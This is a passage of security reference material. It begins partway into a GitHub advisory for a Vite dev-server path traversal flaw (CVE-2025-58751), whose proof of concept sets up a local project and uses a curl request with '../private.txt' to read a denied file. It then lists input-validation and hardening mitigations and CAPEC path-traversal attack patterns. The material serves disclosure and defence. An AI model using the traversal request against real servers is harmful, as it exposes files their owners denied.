\"/www/private.txt\", the startsWith function will still return true, because the string \"/www/private.txt\" starts with\u00a0 \"/www/p\". To achieve this, the attacker will use \"..\" to ask for the file \"../private.txt\". The code will then join it to the \"/www/p\" string, and will receive \"/www/p/../private.txt\". Then, the normalize function will return \"/www/private.txt\", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn\u0027t check that).\n\n### PoC\nExecute the following shell commands:\n\n```\nnpm create vite@latest\ncd vite-project/\nmkdir p\ncd p\nln -s a b\ncd ..\necho \u0027import path from \"node:path\"; import { defineConfig } from \"vite\"; export default defineConfig({publicDir: path.resolve(__dirname, \"p/\"), server: {fs: {deny: [path.resolve(__dirname, \"private.txt\")]}}})\u0027 \u003e vite.config.js\necho \"secret\" \u003e private.txt\nnpm install\nnpm run dev\n```\n\nThen, in a different shell, run the following command:\n\n`curl -v --path-as-is \u0027http://localhost:5173/private.txt\u0027`\n\nYou will receive a 403 HTTP Response,\u00a0 because private.txt is denied.\n\nNow in the same shell run the following command:\n\n`curl -v --path-as-is \u0027http://localhost:5173/../private.txt\u0027`\n\nYou will receive the contents of private.txt.\n\n### Related links\n- https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb",
"id": "GHSA-g4jq-h2w9-997c",
"modified": "2025-09-09T20:55:56Z",
"published": "2025-09-09T20:55:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-g4jq-h2w9-997c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58751"
},
{
"type": "WEB",
"url": "https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/09f2b52e8d5907f26602653caf41b3a56692600d"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/4f1c35bcbb5830290c694aa14b6789e07450f069"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/63e2a5d232218f3f8d852056751e609a5367aaec"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vite middleware may serve files starting with the same name with the public directory"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.